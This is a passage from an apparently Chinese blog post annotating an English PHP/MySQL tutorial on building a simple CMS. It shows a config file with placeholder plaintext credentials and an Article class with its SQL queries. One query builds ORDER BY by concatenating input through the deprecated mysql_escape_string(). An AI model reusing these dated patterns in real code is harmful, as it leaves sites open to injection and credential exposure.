&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;DB_PASSWORD&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;password&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;CLASS_PATH&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;classes&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;TEMPLATE_PATH&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;templates&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;HOMEPAGE_NUM_ARTICLES&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ADMIN_USERNAME&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;admin&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;define&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;ADMIN_PASSWORD&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;mypass&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CLASS_PATH&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/Article.php&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;handleException&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$exception&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;echo&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;Sorry, a problem occurred. Please try later.&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;error_log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$exception&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;getMessage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nb&quot;&gt;set_exception_handler&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'handleException'&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;?&amp;gt;&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

将数据库相关的参数改为自己 MySQL 的设置，包括数据库地址、名称、用户、密码等。

&lt;code class=&quot;highlighter-rouge&quot;&gt;ADMIN_USERNAME&lt;/code&gt; 和 &lt;code class=&quot;highlighter-rouge&quot;&gt;ADMIN_PASSWORD&lt;/code&gt; 为 CMS 管理员用户和密码。

&lt;strong&gt;Security note&lt;/strong&gt;

&lt;blockquote&gt;
  In a live server environment it’d be a good idea to place config.php somewhere outside your website’s document root, since it contains usernames and passwords. While it’s not usually possible to read the source code of a PHP script via the browser, it does happen sometimes if the web server is misconfigured.
&lt;/blockquote&gt;

&lt;blockquote&gt;
  You could also use hash() to make a hash from your admin password, and store the hash in config.php instead of the plaintext password. Then, at login time, you can hash() the entered password and see if it matches the hash in config.php.
&lt;/blockquote&gt;

在 Web 的部署环境中，最好不好把配置文件放在网站目录下，除了采取 hash() 的方式外，最好是把管理员和密码放在服务器的环境变量里，在代码啊中不存放用户名和密码，需要时从环境变量里读取。而普通用户的密码一般是加密后存放在数据库里，用户登录验证的时候，从数据库读取相应值进行比较来完成验证。

&lt;h2 id=&quot;step-4-build-the-article-class&quot;&gt;Step 4: Build the Article class&lt;/h2&gt;

Article 类是该 CMS 的核心，用于处理文章的所有操作，包括存储文章到数据库，从数据库获取文章，以及其他脚本用它来创建、更新、检索和删除文章。

&lt;ol&gt;
  &lt;li&gt;
    The class definition and properties

    &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Article&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// Properties
&lt;/span&gt;
  &lt;span class=&quot;sd&quot;&gt;/**
  * @var int The article ID from the database
  */&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;o&quot;&gt;...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    The constructor

    &lt;blockquote&gt;
      The first method, &lt;code class=&quot;highlighter-rouge&quot;&gt;__construct()&lt;/code&gt;, is the constructor. This is a special method that is called automatically by the PHP engine whenever a new &lt;code class=&quot;highlighter-rouge&quot;&gt;Article&lt;/code&gt; object is created. Our constructor takes an optional &lt;code class=&quot;highlighter-rouge&quot;&gt;$data&lt;/code&gt; array containing the data to put into the new object’s properties. We then populate those properties within the body of the constructor. This gives us a handy way to create and populate an object in one go.
    &lt;/blockquote&gt;

    创建类的实例后，会首先调用类的构造函数，完成一些初始化的工作。

    &lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'publicationDate'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;publicationDate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'publicationDate'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'title'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_replace&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/[^\.\,\-\_\'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;\@\?\!\:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; a-zA-Z0-9()]/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'title'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'summary'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;summary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_replace&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/[^\.\,\-\_\'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;\@\?\!\:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; a-zA-Z0-9()]/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'summary'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'content'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;content&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'content'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;    &lt;/div&gt;
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;storeFormValues()&lt;/code&gt;

    &lt;blockquote&gt;
      Sets the object’s properties using the edit form post values in the supplied array
    &lt;/blockquote&gt;

    通过用户提交的表单的数据，来设置 Article 类对象的属性。
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;getById()&lt;/code&gt;

    &lt;blockquote&gt;
      Returns an Article object matching the given article ID

      &lt;code class=&quot;highlighter-rouge&quot;&gt;$sql = &quot;SELECT *, UNIX_TIMESTAMP(publicationDate) AS publicationDate FROM articles WHERE id = :id&quot;;&lt;/code&gt;
    &lt;/blockquote&gt;

    通过文章的 ID 属性来获取 Article 对象的其他属性，这里返回的是一个新的 Article 对象。
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;getList()&lt;/code&gt;

    &lt;blockquote&gt;
      Returns all (or a range of) Article objects in the DB

      &lt;code class=&quot;highlighter-rouge&quot;&gt;$sql = &quot;SELECT SQL_CALC_FOUND_ROWS *, UNIX_TIMESTAMP(publicationDate) AS publicationDate FROM articles ORDER BY &quot; . mysql_escape_string($order) . &quot; LIMIT :numRows&quot;;&lt;/code&gt;
    &lt;/blockquote&gt;

    获取数据库中所有的 Article 对象。
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;insert()&lt;/code&gt;

    &lt;blockquote&gt;
      Inserts the current Article object into the database, and sets its ID property.

      &lt;code class=&quot;highlighter-rouge&quot;&gt;$sql = &quot;INSERT INTO articles ( publicationDate, title, summary, content ) VALUES ( FROM_UNIXTIME(:publicationDate), :title, :summary, :content )&quot;;&lt;/code&gt;
    &lt;/blockquote&gt;

    插入新的 Article 对象到数据库，这里的 ID 属性会自动增加。
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;update()&lt;/code&gt;

    &lt;blockquote&gt;
      Updates the current Article object in the database.

      &lt;code class=&quot;highlighter-rouge&quot;&gt;$sql = &quot;UPDATE articles SET publicationDate=FROM_UNIXTIME(:publicationDate), title=:title, summary=:summary, content=:content WHERE id = :id&quot;;&lt;/code&gt;
    &lt;/blockquote&gt;

    更新数据库中当前的 Article 对象。
  &lt;/li&gt;
  &lt;li&gt;
    &lt;code class=&quot;highlighter-rouge&quot;&gt;delete()&lt;/code&gt;

    &lt;blockquote&gt;
      Deletes the current Article object from the database.

      &lt;code class=&quot;highlighter-rouge&quot;&gt;&quot;DELETE FROM articles WHERE id = :id LIMIT 1&quot;&lt;/code&gt;
    &lt;/blockquote&gt;

    从数据库里删除当前的 Article 对象。
  &lt;/li&gt;
&lt;/ol&gt;

&lt;div class=&quot;language-php highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;&amp;lt;?php&lt;/span&gt;

&lt;span class=&quot;sd&quot;&gt;/**
 * Class to handle articles
 */&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Article&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;// Properties
&lt;/span&gt;
  &lt;span class=&quot;sd&quot;&gt;/**
  * @var int The article ID from the database
  */&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;sd&quot;&gt;/**
  * @var int When the article is to be / was first published
  */&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$publicationDate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;sd&quot;&gt;/**
  * @var string Full title of the article
  */&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;sd&quot;&gt;/**
  * @var string A short summary of the article
  */&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$summary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

  &lt;span class=&quot;sd&quot;&gt;/**
  * @var string The HTML content of the article
  */&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$content&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;


  &lt;span class=&quot;sd&quot;&gt;/**
  * Sets the object's properties using the values in the supplied array
  *
  * @param assoc The property values
  */&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;public&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__construct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;id&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'id'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'publicationDate'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;publicationDate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;int&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'publicationDate'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'title'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;title&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_replace&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/[^\.\,\-\_\'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;\@\?\!\:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; a-zA-Z0-9()]/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'title'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'summary'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$this&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;na&quot;&gt;summary&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;preg_replace&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;/[^\.\,\-\_\'&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;\@\?\!\:&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\$&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; a-zA-Z0-9()]/&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$data&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'summary'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
